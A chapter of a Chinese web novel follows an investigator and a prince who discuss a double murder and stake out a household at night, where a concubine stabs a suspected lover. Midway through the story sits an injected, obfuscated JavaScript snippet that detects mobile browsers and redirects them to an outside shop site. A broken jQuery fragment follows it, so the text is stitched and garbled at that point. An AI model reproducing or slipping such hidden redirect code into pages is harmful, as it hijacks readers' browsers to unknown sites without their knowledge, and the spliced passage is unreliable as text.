45. 夜过半
    过了午饭的时辰,容朗才回了驿站。

    “小主子!”张锦笑眯眯地帮他换衣裳,“可用过午饭了?可要咱家让人上些来?”

    “还没呢。”容朗换上干净衣裳,吐出一口浊气,“也就你还惦记我。”

    张锦捂着嘴笑:“今儿中午用饭,李少使特意让人给您留的呢!”

    “真的?!”容朗欢喜得连手上的衣服都掉到了地上。

    张锦把衣裳捡起来拍了拍灰给他披上。

    “真的,咱家还能骗您不成?可见啊,这‘精诚所至金石为开’。李少使现在心里还是有您的位置的。”

    “那是。”容朗扬起下巴,“她从小就对我好。”

    说到以前的事儿,张锦也不免伤怀。

    “是呢,幸好李少使心善。不然,真怕您那时候就伤了身子。”

    “我让你传回去的信传了吗?”

    “传过去了。”

    “你那个干儿子……可信吗?”涉及到自己哥哥,容朗还是多几分谨慎。

    “可信可信!那孩子自小在咱家跟前长大的,您放心,小殿下这边咱家也看着的,不会有事。咱家让人把饭菜摆到李少使屋里?”

    “正好,我今儿有个大发现要告诉她……”

    李希言看着面前正在摆菜的驿卒,放下了书。

    “这是?”

    驿卒眨了眨眼。

    “不是和您一起来的那位张内侍吩咐的吗?”

    “李少使,打扰了。”容朗红光满面走了进来,“我有事儿要和你说。”

    驿卒见状退了出去。

    李希言直接戳穿:“王爷大可用完饭再来。”

    “可是……”容朗摸摸肚子,下垂的眼尾显得他分外委屈,“我很饿啊……”

    李希言别过视线,拿起书遮住脸。

    怎么像驿站养的那只小土狗?

    “李少使……”

    小心翼翼的声音让李希言觉得有些过不去。

    或许真的是因为事情太重要了吧。

    “王爷先用饭吧。”

    “好!”容朗乐呵呵地坐了下来,“听张内侍说,李少使特意给我留了饭。”

    李希言耳朵一下烧了起来,恨不得把书盖在脸上。

    多嘴的张锦!

    “看书的时候离得太近对眼睛不好。”容朗调侃完才拿起筷子,顺道卖了个惨,“自从母后走了,就再也没有人关心过我有没有用饭……”

    李希言躲在书后翻了个白眼。

    他们这些近臣,谁没听过皇帝叨叨过“长乐王吃得太少”“长乐王天天节食”?

    二人,一个看书一个吃饭,都没有再说话。

    等容朗放下筷子,沉默才被打破。

    “李少使很爱看书?”

    李希言大大方方地把书亮给他看。

    书上写着四个大字——滦州公案。

    “话本?”

    “嗯。”

    容朗有些意外:“李少使要看话本?

    “怎么?”

    他见她看得那么认真还以为是什么正经书。

    李希言像是知道他的想法。

    “这一类话本多是作者根据所见所闻所编撰的。说是话本,不如说是民间百姓的状纸。”

    “状纸?这是什么说法?”

    李希言指着自己正在看的那一页。

    “就说这个案子。死者殴打妻子时,其子为保护母亲失手错杀死者,却被判腰斩弃市。这种事情不少,但是目前的律法却没有明确的关于这种情况的律例。官员遇见这种案子,也会直接按照弑父来判。”

    这个案例恰巧戳到了容朗的痛处。

    “那些官员这样不近人情吗?”

    李希言忽然师父生前所言。

    好像先帝的死……

    “去年蔡州报上来一个案子就是如此。幸好大理寺寺卿力排众议参照误杀判的。”

    “误杀也有点冤……”

    李希言不想再提这件事情,问道:“王爷今日有何发现?”

    一说到这儿,容朗的眼睛一下就亮了。

    “我们有个推论可能是错误的。”

    “哪个推论?”

    “有没有可能凶手不止一个呢?”

    “为何这样说?”

    “我今日把尸体上每一处刀痕都验了一遍,发现在薛夫人和杨小郎身上有五处刀痕是左利手造成的。”

    “凶手也有可能左右开弓。”

    “不,不是。左利手那一个比右利手那一个矮上一些。”

    “可我们今日只发现了一个人的脚印。”

    “谁知道呢?但是我可以确定行凶的人至少有两个。”容朗无意识摸着茶盏,“有可能其中一个是下药的内应,另外一个是外人。那个内应是走一楼离开的,但是清除了自己的痕迹。”

    “少使。”门被敲开,一个绣衣使走了进来,“话已经传到了杨家。”

    “那就好,你先下去吧。”

    “是。”

    容朗收回视线:“给杨家传话?”

    “我让人告诉管事,明日我会去搜府,让他做好准备。顺便让他留意身长五尺八寸会武功的男子。”

    “既然要搜府为何还提前知会他,那凶手若在其中,岂不是打草惊蛇?”

    “要的就是他销毁证据。杨府外面现在都是我的人,只要凶手有什么动作,马上就能拿下。”

    “凶手的武功不差,若是他晚上行动?”

    “今晚我会亲自去看着。”李希言自信得很坦然,“那人武功不会比我好,我不会输。”

    “我也一起吧。”容朗主动请缨,“有个人照应总是好的,关校尉他们又不在。”

    李希言很爽快地说道:“王爷若来自然更好。”

    是夜。

    杨府新挂起的招魂幡被秋风吹得直响。

    低低的哀泣声已经响了一日,直到此时才稍稍停下。

    李希言躲在树上,一身黑衣完全隐没在树影之中。

    一眼望下去,灵堂的情况尽收眼底。

    跪在灵前抹眼泪的是莲姨娘。

    她哭得最是伤心。

    不仅仅只是为了薛夫人,更是为了她自己。

    她唯一的孩子也死了。

    身边的婢女扶起她。

    “先回去吧,府里现在已经乱成一团了,您可得保重身子。”

    “我知道。”莲姨娘半靠在婢女身上,声音嘶哑,“我还得等着抓到凶手……为我儿报仇,还有夫人……”

    絮絮的低语远去,在黑夜中消失不见。

    “今日下午,莲姨娘订了一份糕点。”李希言往东边转了转。

    “糕点?”

    “她哪里像是有心情吃糕点的样子?难道她就是那个内应?不会吧?”容朗不敢相信,“杨小郎是她的孩子呀!”

    “或许另有缘由。”李希言站起身,遥遥一指,“去她院儿里蹲着。”

    西院面积大,院抢旁边还有一大片高大的灌木,足以将人遮得严严实实。

    杨府渐渐安静下来,二人一前一后一跃而下,迅速翻了进去,一闪身躲进了灌木丛后。

    藏好身,李希言才稍稍放松了些,倚靠在身后的府墙上休息。

    容朗悄悄挪到她身边。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958427|144568||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “李少使,你饿不饿?”

    李希言闭着眼睛假寐。

    “还好。”

    就是饿的意思。

    容朗太过了解她口是心非的本性,直接摸出一个油纸包打开。

    一股羊肉味儿直往鼻子里窜。

    李希言睁开了眼。

    羊肉片儿雪白雪白的,却带着一丝香料的气味儿,刚好冲淡了羊肉的膻味。

    确实有点香……

    容朗就知道她爱吃这个,又往前凑了凑。

    “我有些饿,但又不好意思吃独食。”

    李希言沉默了一会儿,矜持拿起一片吃下。

    肉质紧实,清爽不腻。

    有一就有二。

    二人很快分食完一包羊肉。

    李希言耳朵有些红。

    怎么一遇见他就馋嘴。

    “那人怎么还不来,我还没吃饱。”容朗的声音就在她的耳边,带着撒娇的意味。

    李希言往旁边挪了挪。

    “应该快了。”

    “李少使猜得到他什么时候来?”

    “大概吧。”李希言微微俯身,眼神从灌木丛的缝隙中穿过。

    房间外的两个婢女已经倚靠在门边,坐在地上,脑袋一点一点的。

    “迷药?”

    “噤声。”李希言的手已经放在刀柄上,警戒地看着灌木丛对面的府墙。

    容朗明白。

    来人了。

    二人屏住了呼吸。

    一个人影从府墙外跳了进来。

    动作极其敏捷,轻功比之苗青也不差几分。

    李希言朝着外面的树打了个手势。

    树影中,有白光一闪而过。

    她的手才按在了刀柄上。

    借着明亮的月光,人影的模样逐渐清晰。

    是个年轻的男子,面目精悍,浓眉大眼,身长……五尺八寸!

    容朗以口型问道:“要动手吗?”

    李希言摇了摇头。

    要等。

    要抓现行。

    年轻男子优哉游哉走向了卧房的门,他在门前蹲下,从容地给了将两个婢女打晕。

    熟练的样子像是做过无数次一样。

    “于郎,是你吗?”门被轻轻推开,莲姨娘手上握着一把还沾着烛芯的剪刀,一脸欢喜地走了出来。

    “是我。”年轻男子抚上了她的双鬓。

    莲姨娘欢喜地扑进他的怀里。

    李希言却忽然脸色一变,冲了出去。

    “住手!”

    正在拥抱的二人齐齐看了过来。

    年轻男子扭过头,面露惊讶,僵在原地。

    而莲姨娘已经举起了剪刀,一脸决绝地朝着男子的胸口扎去。

    李希言还是晚了一步,剪刀插在了男子的心口。

    她一把扯开了莲姨娘,反剪其双臂。

    容朗也已经跑了过来,急忙掏出药瓶往男子伤口上倒。

    外面的绣衣使听见了动静,一窝蜂涌了进来。

    “快!把人拉下去救治,别让人死了!”

    就在此时,被李希言押着的莲姨娘却疯狂挣扎了起来。

    “不准救他!不准!”

    凄厉的喊声在院内回荡。

    中了迷药的婢女却还是坐在地上,毫无动静……

    “要让他偿命!偿命!杀了他!”

    她不管不顾地大喊着,模样已经有了几分疯魔,脸色也红得发紫。

    李希言狠下心,将她打晕抱住。

    “将此人就近安置,绝对不能让他死了。”

    “是!”